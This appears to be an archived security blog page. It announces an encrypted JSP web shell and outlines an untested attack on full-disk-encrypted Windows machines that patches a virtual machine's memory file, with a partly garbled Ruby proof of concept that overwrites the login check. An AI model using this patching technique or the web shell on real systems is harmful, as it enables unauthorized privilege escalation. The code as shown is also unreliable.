Archive for January, 2012

This is a follow up of my previous JSP Shell post. This JSP shell has the following functionality:

  • Signed Diffie-Hellman key exchange
  • Blowfish Encrypted commands
  • Blowfish Encrypted result

However the way I implemented the crypto part is as far as i know flawed, this because I’ll maybe try to break my own implementation. It’s on my todo list to understand more about cryptographic attacks. To my knowledge the following flaws are present(there are probably more, feel free to point them out in the comments). Thanks to the people of #crypto on freenode for answering my questions and having me realize the flaws listed below:

  • Non-authenticated exchange of encrypted messages
  • The derivation of the Blowfish key from the Diffie-Hellman output isn’t hashed sufficiently

So just to be clear, ONLY the initial key exchange is authenticated using DSA signatures, after which the secret key is established to encrypt the rest of the communication using Blowfish. Let’s take a closer look at the usage and deployment of the shell. If you just want the code, it’s available on my github page. The bin directory contains everything you need for a grab&go usage.


This has been on my mind for a while but haven’t found the time to test it out yet, so here is the midnight idea if anyone wants to test it out.

Sometimes you need to become local administrator on a windows machine which has full disk encryption, is fully up to date and has very little software which could present you with a decent attack surface. Normally you would just whip out your readily available firewire attack tools, hook up your equipment and have a shell with elevated privileges in no-time. Let’s suppose the target machine doesn’t have a firewire port or it has the drivers disabled, how could we still pwn it?

This is when theory gets mixed with practical stuff (aka the part I haven’t practically tested yet). The essence of the firewire attack is to obtain direct memory access (DMA) with the goal to freely adjust memory. What if we could access the memory without the need for a firewire port, think virtualization. All (afaik) virtualization software uses a regular file on disk which represents the memory of the virtual machine. You prolly feel it coming by now, the attack boils down to:


Boot the target machine from a cd/dvd/usb virtualize the harddisk, pause the machine, patch the memory file, resume the machine, obtain elevated privileges.

Now that doesn’t sound to hard does it? Just one important obstacle: you do need the crypto credentials to be able to perform this attack. Think social engineering, hardware keylogger or just asking nicely.

I have performed a simulation of this attack to see if at least the part of pausing the virtual machine, patching the memory file and resuming it does work. The result is as expected it DOES work. Here is the ruby POC snippet that i wrote to test it out:

#used the offsets from winlockpwn
#POC virtualized firewire,"Windows XP Professional.vmem", "rb+") do |io|
 while(b = #read the exact amount of bytes needed for the signature
 data = b.unpack("H18")
 if data.to_s == "8BFF558BEC83EC50A1".downcase #lol i like pretty uppercase hex in code
 spos = io.pos-9 #skip the cookie bytes
 if"H6").to_s == "8B4D20".downcase #this seems pretty constant check it to be sure
 puts "found: #{io.pos}" #advance to what we actually want to patch
 puts "Patching offset: " + io.pos.to_s
 puts "Original bytes: " +"H4").to_s
 puts "Patching with B001"
 count = io.write("\xb0\x01") #patch it
 io.fsync #really, really make sure we write to disk
 puts "Written bytes #{count}"
 puts "Result: " +"H4").to_s #verify it
 exit #case closed
 #this kinda results in an endless loop
 fpos = io.pos-8
 Signal.trap("USR1") do
 puts "position: #{fpos}b, #{fpos/1048576}mb"
 puts "data: %s" % data

The main obstacle at the moment is actually testing this out by virtualizing a real hard disk, since afaik it can result in a lot of problems which might prevent it from virtualizing correctly.

You might be wondering why we don’t just decrypt the harddisk, adjust some executable and encrypt the harddisk with the final result of elevated privileges. Well not all full disk encryption software allows you to decrypt the disk with the credentials you have. Some solution (specially if they are corporate) require additional keys and/or action to be taken before you are able to fully decrypt the harddisk. I assume that if you invest enough reversing time you might be able to still decrypt the harddisk with the credentials you have.

If anyone actually tests this out I would love to hear if it works, in case I get around to testing this myself I’ll let you guys know.


Cleaning up links

Posted: January 4, 2012 in general

I’ve cleaned up all non-working links on the right, new ones will be added soon. If you think I’ve removed you by mistake please let me know, also let me know if you want me to link to you. Use my email address located on the contact page or reply to this entry.